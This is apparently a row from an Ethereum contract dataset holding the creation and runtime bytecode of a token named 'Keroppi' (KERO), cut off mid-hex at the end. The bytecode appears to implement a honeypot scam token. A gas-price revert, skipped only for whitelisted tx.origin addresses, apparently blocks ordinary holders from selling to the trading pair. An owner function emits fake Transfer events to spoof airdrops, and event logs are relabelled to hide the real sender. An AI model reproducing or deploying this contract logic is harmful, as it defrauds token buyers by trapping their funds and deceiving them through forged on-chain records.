1 | 20,290,658 | 0d218be2bc0b8f97e37c2ad0f5c3636fcd1f51ec3ff275e43914c67ac41877e6 | 2292f2f880ebdbd02f95424fa9420144fdc7ef72248f20861da1428c0c9aec13 | 65c38d28344d8e3ede6369c2371aaaa4ef6be082 | 65c38d28344d8e3ede6369c2371aaaa4ef6be082 | d5233776656d95065c0dc415382f9e87379be0ba | 60806040526040518060400160405280600781526020017f4b65726f70706900000000000000000000000000000000000000000000000000815250600890816200004a919062000d27565b506040518060400160405280600481526020017f4b45524f000000000000000000000000000000000000000000000000000000008152506009908162000091919062000d27565b503480156200009f57600080fd5b5060405162003108380380620031088339818101604052810190620000c5919062000ea9565b3360088054620000d59062000b16565b80601f0160208091040260200160405190810160405280929190818152602001828054620001039062000b16565b8015620001545780601f10620001285761010080835404028352916020019162000154565b820191906000526020600020905b8154815290600101906020018083116200013657829003601f168201915b505050505060098054620001689062000b16565b80601f0160208091040260200160405190810160405280929190818152602001828054620001969062000b16565b8015620001e75780601f10620001bb57610100808354040283529160200191620001e7565b820191906000526020600020905b815481529060010190602001808311620001c957829003601f168201915b505050505033848360039081620001ff919062000d27565b50826004908162000211919062000d27565b5081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200030d5760006040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000304919062000f01565b60405180910390fd5b6200031e816200039160201b60201c565b506200033133836200045760201b60201c565b6001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050506200109c565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004cc5760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620004c3919062000f01565b60405180910390fd5b620004e060008383620004e460201b60201c565b5050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161562000550576200054a8383836200066260201b60201c565b6200065d565b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603620005c657620005bf8484846200066260201b60201c565b506200065d565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000648576200062f8484846200066260201b60201c565b62000641600162000a5e60201b60201c565b506200065d565b6200065b8484846200066260201b60201c565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620006b8578060026000828254620006ab919062000f4d565b925050819055506200078e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562000747578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016200073e9392919062000f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620007d9578060026000828254039250508190555062000826565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200090b57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620008fd919062000fd6565b60405180910390a362000a59565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620009f0578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009e2919062000fd6565b60405180910390a362000a58565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a4f919062000fd6565b60405180910390a35b5b505050565b60003a90508181111562000aa9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000aa0906200107a565b60405180910390fd5b5050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b2f57607f821691505b60208210810362000b455762000b4462000ae7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000baf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b70565b62000bbb868362000b70565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c0862000c0262000bfc8462000bd3565b62000bdd565b62000bd3565b9050919050565b6000819050919050565b62000c248362000be7565b62000c3c62000c338262000c0f565b84845462000b7d565b825550505050565b600090565b62000c5362000c44565b62000c6081848462000c19565b505050565b5b8181101562000c885762000c7c60008262000c49565b60018101905062000c66565b5050565b601f82111562000cd75762000ca18162000b4b565b62000cac8462000b60565b8101602085101562000cbc578190505b62000cd462000ccb8562000b60565b83018262000c65565b50505b505050565b600082821c905092915050565b600062000cfc6000198460080262000cdc565b1980831691505092915050565b600062000d17838362000ce9565b9150826002028217905092915050565b62000d328262000aad565b67ffffffffffffffff81111562000d4e5762000d4d62000ab8565b5b62000d5a825462000b16565b62000d6782828562000c8c565b600060209050601f83116001811462000d9f576000841562000d8a578287015190505b62000d96858262000d09565b86555062000e06565b601f19841662000daf8662000b4b565b60005b8281101562000dd95784890151825560018201915060208501945060208101905062000db2565b8683101562000df9578489015162000df5601f89168262000ce9565b8355505b6001600288020188555050505b505050505050565b600080fd5b62000e1e8162000bd3565b811462000e2a57600080fd5b50565b60008151905062000e3e8162000e13565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e718262000e44565b9050919050565b62000e838162000e64565b811462000e8f57600080fd5b50565b60008151905062000ea38162000e78565b92915050565b6000806040838503121562000ec35762000ec262000e0e565b5b600062000ed38582860162000e2d565b925050602062000ee68582860162000e92565b9150509250929050565b62000efb8162000e64565b82525050565b600060208201905062000f18600083018462000ef0565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f5a8262000bd3565b915062000f678362000bd3565b925082820190508082111562000f825762000f8162000f1e565b5b92915050565b62000f938162000bd3565b82525050565b600060608201905062000fb0600083018662000ef0565b62000fbf602083018562000f88565b62000fce604083018462000f88565b949350505050565b600060208201905062000fed600083018462000f88565b92915050565b600082825260208201905092915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b60006200106260278362000ff3565b91506200106f8262001004565b604082019050919050565b60006020820190508181036000830152620010958162001053565b9050919050565b61205c80620010ac6000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c806370a08231116100de578063aac0393911610097578063daea85c511610071578063daea85c514610463578063dd62ed3e1461047f578063e086e5ec146104af578063f2fde38b146104b95761018e565b8063aac039391461040b578063b839a80e14610429578063cc1776d3146104455761018e565b806370a0823114610347578063715018a6146103775780637b61c320146103815780638da5cb5b1461039f57806395d89b41146103bd578063a9059cbb146103db5761018e565b80631e7be2101161014b578063313ce56711610125578063313ce567146102d15780634022b75e146102ef5780634f7041a51461030b5780636c02a931146103295761018e565b80631e7be2101461025357806323b872dd146102835780632711b8a5146102b35761018e565b8063068acf6c1461019357806306fdde03146101af578063095ea7b3146101cd5780630d1d9b8e146101fd5780631641f1ba1461021957806318160ddd14610235575b600080fd5b6101ad60048036038101906101a891906117f3565b6104d5565b005b6101b76105de565b6040516101c491906118b0565b60405180910390f35b6101e760048036038101906101e29190611908565b610670565b6040516101f49190611963565b60405180910390f35b610217600480360381019061021291906117f3565b610693565b005b610233600480360381019061022e919061197e565b6106df565b005b61023d610721565b60405161024a91906119ba565b60405180910390f35b61026d600480360381019061026891906117f3565b61072b565b60405161027a9190611963565b60405180910390f35b61029d600480360381019061029891906119d5565b61074b565b6040516102aa9190611963565b60405180910390f35b6102bb61077a565b6040516102c891906119ba565b60405180910390f35b6102d9610783565b6040516102e69190611a44565b60405180910390f35b61030960048036038101906103049190611c6a565b61078c565b005b610313610852565b60405161032091906119ba565b60405180910390f35b610331610858565b60405161033e91906118b0565b60405180910390f35b610361600480360381019061035c91906117f3565b6108e6565b60405161036e91906119ba565b60405180910390f35b61037f61092e565b005b61038961099a565b60405161039691906118b0565b60405180910390f35b6103a7610a28565b6040516103b49190611d04565b60405180910390f35b6103c5610a52565b6040516103d291906118b0565b60405180910390f35b6103f560048036038101906103f09190611908565b610ae4565b6040516104029190611963565b60405180910390f35b610413610b07565b6040516104209190611d04565b60405180910390f35b610443600480360381019061043e919061197e565b610b2d565b005b61044d610b6f565b60405161045a91906119ba565b60405180910390f35b61047d600480360381019061047891906117f3565b610b75565b005b61049960048036038101906104949190611d1f565b610bd8565b6040516104a691906119ba565b60405180910390f35b6104b7610c5f565b005b6104d360048036038101906104ce91906117f3565b610cb0565b005b6104dd610d36565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105189190611d04565b602060405180830381865afa158015610535573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105599190611d74565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610596929190611da1565b6020604051808303816000875af11580156105b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d99190611df6565b505050565b6060600380546105ed90611e52565b80601f016020809104026020016040519081016040528092919081815260200182805461061990611e52565b80156106665780601f1061063b57610100808354040283529160200191610666565b820191906000526020600020905b81548152906001019060200180831161064957829003601f168201915b5050505050905090565b60008061067b610dbd565b9050610688818585610dc5565b600191505092915050565b61069b610d36565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6106e7610d36565b7fd3b613dda5c9cdfd44a8f58e5198dec35a31f7f9d39dec2fd6b532e47989c7b98160405161071691906119ba565b60405180910390a150565b6000600254905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b600080610756610dbd565b9050610763858285610dd7565b61076e858585610e6b565b60019150509392505050565b60006001905090565b60006012905090565b610794610d36565b60005b825181101561084c578281815181106107b3576107b2611e83565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061081c5761081b611e83565b5b602002602001015160405161083191906119ba565b60405180910390a3808061084490611ee1565b915050610797565b50505050565b600d5481565b6008805461086590611e52565b80601f016020809104026020016040519081016040528092919081815260200182805461089190611e52565b80156108de5780601f106108b3576101008083540402835291602001916108de565b820191906000526020600020905b8154815290600101906020018083116108c157829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610936610d36565b600073ffffffffffffffffffffffffffffffffffffffff16610956610a28565b73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b600980546109a790611e52565b80601f01602080910402602001604051908101604052809291908181526020018280546109d390611e52565b8015610a205780601f106109f557610100808354040283529160200191610a20565b820191906000526020600020905b815481529060010190602001808311610a0357829003601f168201915b505050505081565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a6190611e52565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8d90611e52565b8015610ada5780601f10610aaf57610100808354040283529160200191610ada565b820191906000526020600020905b815481529060010190602001808311610abd57829003601f168201915b5050505050905090565b600080610aef610dbd565b9050610afc818585610e6b565b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b35610d36565b7f0d61b965947cabd8d137e76c38fd92e63d79b181830e0918b69794938355febd81604051610b6491906119ba565b60405180910390a150565b600c5481565b610b7d610d36565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c67610d36565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610cad573d6000803e3d6000fd5b50565b610cb8610d36565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d2a5760006040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610d219190611d04565b60405180910390fd5b610d3381610f5f565b50565b610d3e610dbd565b73ffffffffffffffffffffffffffffffffffffffff16610d5c610a28565b73ffffffffffffffffffffffffffffffffffffffff1614610dbb57610d7f610dbd565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610db29190611d04565b60405180910390fd5b565b600033905090565b610dd28383836001611025565b505050565b6000610de38484610bd8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e655781811015610e55578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610e4c93929190611f29565b60405180910390fd5b610e6484848484036000611025565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610edd5760006040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610ed49190611d04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f4f5760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f469190611d04565b60405180910390fd5b610f5a8383836111fc565b505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110975760006040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161108e9190611d04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111095760006040517f94280d620000000000000000000000000000000000000000000000000000000081526004016111009190611d04565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080156111f6578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516111ed91906119ba565b60405180910390a35b50505050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561125e5761125983838361134c565b611347565b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036112ca576112c484848461134c565b50611347565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361133a5761132a84848461134c565b6113346001611735565b50611347565b61134584848461134c565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361139e5780600260008282546113929190611f60565b92505081905550611471565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561142a578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161142193929190611f29565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ba5780600260008282540392505081905550611507565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115e857600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115db91906119ba565b60405180910390a3611730565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c9578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116bc91906119ba565b60405180910390a361172f565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161172691906119ba565b60405180910390a35b5b505050565b60003a90508181111561177d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177490612006565b60405180910390fd5b5050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117c082611795565b9050919050565b6117d0816117b5565b81146117db57600080fd5b50565b6000813590506117ed816117c7565b92915050565b6000602082840312156118095761180861178b565b5b6000611817848285016117de565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561185a57808201518184015260208101905061183f565b60008484015250505050565b6000601f19601f8301169050919050565b600061188282611820565b61188c818561182b565b935061189c81856020860161183c565b6118a581611866565b840191505092915050565b600060208201905081810360008301526118ca8184611877565b905092915050565b6000819050919050565b6118e5816118d2565b81146118f057600080fd5b50565b600081359050611902816118dc565b92915050565b6000806040838503121561191f5761191e61178b565b5b600061192d858286016117de565b925050602061193e858286016118f3565b9150509250929050565b60008115159050919050565b61195d81611948565b82525050565b60006020820190506119786000830184611954565b92915050565b6000602082840312156119945761199361178b565b5b60006119a2848285016118f3565b91505092915050565b6119b4816118d2565b82525050565b60006020820190506119cf60008301846119ab565b92915050565b6000806000606084860312156119ee576119ed61178b565b5b60006119fc868287016117de565b9350506020611a0d868287016117de565b9250506040611a1e868287016118f3565b9150509250925092565b600060ff82169050919050565b611a3e81611a28565b82525050565b6000602082019050611a596000830184611a35565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611a9c82611866565b810181811067ffffffffffffffff82111715611abb57611aba611a64565b5b80604052505050565b6000611ace611781565b9050611ada8282611a93565b919050565b600067ffffffffffffffff821115611afa57611af9611a64565b5b602082029050602081019050919050565b600080fd5b6000611b23611b1e84611adf565b611ac4565b90508083825260208201905060208402830185811115611b4657611b45611b0b565b5b835b81811015611b6f5780611b5b88826117de565b845260208401935050602081019050611b48565b5050509392505050565b600082601f830112611b8e57611b8d611a5f565b5b8135611b9e848260208601611b10565b91505092915050565b600067ffffffffffffffff821115611bc257611bc1611a64565b5b602082029050602081019050919050565b6000611be6611be184611ba7565b611ac4565b90508083825260208201905060208402830185811115611c0957611c08611b0b565b5b835b81811015611c325780611c1e88826118f3565b845260208401935050602081019050611c0b565b5050509392505050565b600082601f830112611c5157611c50611a5f565b5b8135611c61848260208601611bd3565b91505092915050565b600080600060608486031215611c8357611c8261178b565b5b6000611c91868287016117de565b935050602084013567ffffffffffffffff811115611cb257611cb1611790565b5b611cbe86828701611b79565b925050604084013567ffffffffffffffff811115611cdf57611cde611790565b5b611ceb86828701611c3c565b9150509250925092565b611cfe816117b5565b82525050565b6000602082019050611d196000830184611cf5565b92915050565b60008060408385031215611d3657611d3561178b565b5b6000611d44858286016117de565b9250506020611d55858286016117de565b9150509250929050565b600081519050611d6e816118dc565b92915050565b600060208284031215611d8a57611d8961178b565b5b6000611d9884828501611d5f565b91505092915050565b6000604082019050611db66000830185611cf5565b611dc360208301846119ab565b9392505050565b611dd381611948565b8114611dde57600080fd5b50565b600081519050611df081611dca565b92915050565b600060208284031215611e0c57611e0b61178b565b5b6000611e1a84828501611de1565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e6a57607f821691505b602082108103611e7d57611e7c611e23565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611eec826118d2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f1e57611f1d611eb2565b5b600182019050919050565b6000606082019050611f3e6000830186611cf5565b611f4b60208301856119ab565b611f5860408301846119ab565b949350505050565b6000611f6b826118d2565b9150611f76836118d2565b9250828201905080821115611f8e57611f8d611eb2565b5b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b6000611ff060278361182b565b9150611ffb82611f94565b604082019050919050565b6000602082019050818103600083015261201f81611fe3565b905091905056fea2646970667358221220616de234b326112d3ae12dea68bafde5aae28f8bf3cd1cadde42b5945d66d5a764736f6c634300081300330000000000000000000000000000000000000000033b2e3c9fd0803ce800000000000000000000000000000065c38d28344d8e3ede6369c2371aaaa4ef6be082 | 608060405234801561001057600080fd5b506004361061018e5760003560e01c806370a08231116100de578063aac0393911610097578063daea85c511610071578063daea85c514610463578063dd62ed3e1461047f578063e086e5ec146104af578063f2fde38b146104b95761018e565b8063aac039391461040b578063b839a80e14610429578063cc1776d3146104455761018e565b806370a0823114610347578063715018a6146103775780637b61c320146103815780638da5cb5b1461039f57806395d89b41146103bd578063a9059cbb146103db5761018e565b80631e7be2101161014b578063313ce56711610125578063313ce567146102d15780634022b75e146102ef5780634f7041a51461030b5780636c02a931146103295761018e565b80631e7be2101461025357806323b872dd146102835780632711b8a5146102b35761018e565b8063068acf6c1461019357806306fdde03146101af578063095ea7b3146101cd5780630d1d9b8e146101fd5780631641f1ba1461021957806318160ddd14610235575b600080fd5b6101ad60048036038101906101a891906117f3565b6104d5565b005b6101b76105de565b6040516101c491906118b0565b60405180910390f35b6101e760048036038101906101e29190611908565b610670565b6040516101f49190611963565b60405180910390f35b610217600480360381019061021291906117f3565b610693565b005b610233600480360381019061022e919061197e565b6106df565b005b61023d610721565b60405161024a91906119ba565b60405180910390f35b61026d600480360381019061026891906117f3565b61072b565b60405161027a9190611963565b60405180910390f35b61029d600480360381019061029891906119d5565b61074b565b6040516102aa9190611963565b60405180910390f35b6102bb61077a565b6040516102c891906119ba565b60405180910390f35b6102d9610783565b6040516102e69190611a44565b60405180910390f35b61030960048036038101906103049190611c6a565b61078c565b005b610313610852565b60405161032091906119ba565b60405180910390f35b610331610858565b60405161033e91906118b0565b60405180910390f35b610361600480360381019061035c91906117f3565b6108e6565b60405161036e91906119ba565b60405180910390f35b61037f61092e565b005b61038961099a565b60405161039691906118b0565b60405180910390f35b6103a7610a28565b6040516103b49190611d04565b60405180910390f35b6103c5610a52565b6040516103d291906118b0565b60405180910390f35b6103f560048036038101906103f09190611908565b610ae4565b6040516104029190611963565b60405180910390f35b610413610b07565b6040516104209190611d04565b60405180910390f35b610443600480360381019061043e919061197e565b610b2d565b005b61044d610b6f565b60405161045a91906119ba565b60405180910390f35b61047d600480360381019061047891906117f3565b610b75565b005b61049960048036038101906104949190611d1f565b610bd8565b6040516104a691906119ba565b60405180910390f35b6104b7610c5f565b005b6104d360048036038101906104ce91906117f3565b610cb0565b005b6104dd610d36565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105189190611d04565b602060405180830381865afa158015610535573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105599190611d74565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610596929190611da1565b6020604051808303816000875af11580156105b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d99190611df6565b505050565b6060600380546105ed90611e52565b80601f016020809104026020016040519081016040528092919081815260200182805461061990611e52565b80156106665780601f1061063b57610100808354040283529160200191610666565b820191906000526020600020905b81548152906001019060200180831161064957829003601f168201915b5050505050905090565b60008061067b610dbd565b9050610688818585610dc5565b600191505092915050565b61069b610d36565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6106e7610d36565b7fd3b613dda5c9cdfd44a8f58e5198dec35a31f7f9d39dec2fd6b532e47989c7b98160405161071691906119ba565b60405180910390a150565b6000600254905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b600080610756610dbd565b9050610763858285610dd7565b61076e858585610e6b565b60019150509392505050565b60006001905090565b60006012905090565b610794610d36565b60005b825181101561084c578281815181106107b3576107b2611e83565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061081c5761081b611e83565b5b602002602001015160405161083191906119ba565b60405180910390a3808061084490611ee1565b915050610797565b50505050565b600d5481565b6008805461086590611e52565b80601f016020809104026020016040519081016040528092919081815260200182805461089190611e52565b80156108de5780601f106108b3576101008083540402835291602001916108de565b820191906000526020600020905b8154815290600101906020018083116108c157829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610936610d36565b600073ffffffffffffffffffffffffffffffffffffffff16610956610a28565b73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b600980546109a790611e52565b80601f01602080910402602001604051908101604052809291908181526020018280546109d390611e52565b8015610a205780601f106109f557610100808354040283529160200191610a20565b820191906000526020600020905b815481529060010190602001808311610a0357829003601f168201915b505050505081565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a6190611e52565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8d90611e52565b8015610ada5780601f10610aaf57610100808354040283529160200191610ada565b820191906000526020600020905b815481529060010190602001808311610abd57829003601f168201915b5050505050905090565b600080610aef610dbd565b9050610afc818585610e6b565b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b35610d36565b7f0d61b965947cabd8d137e76c38fd92e63d79b181830e0918b69794938355febd81604051610b6491906119ba565b60405180910390a150565b600c5481565b610b7d610d36565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c67610d36565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610cad573d6000803e3d6000fd5b50565b610cb8610d36565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d2a5760006040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610d219190611d04565b60405180910390fd5b610d3381610f5f565b50565b610d3e610dbd565b73ffffffffffffffffffffffffffffffffffffffff16610d5c610a28565b73ffffffffffffffffffffffffffffffffffffffff1614610dbb57610d7f610dbd565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610db29190611d04565b60405180910390fd5b565b600033905090565b610dd28383836001611025565b505050565b6000610de38484610bd8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e655781811015610e55578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610e4c93929190611f29565b60405180910390fd5b610e6484848484036000611025565b5b50505050565b600073ffffffffffff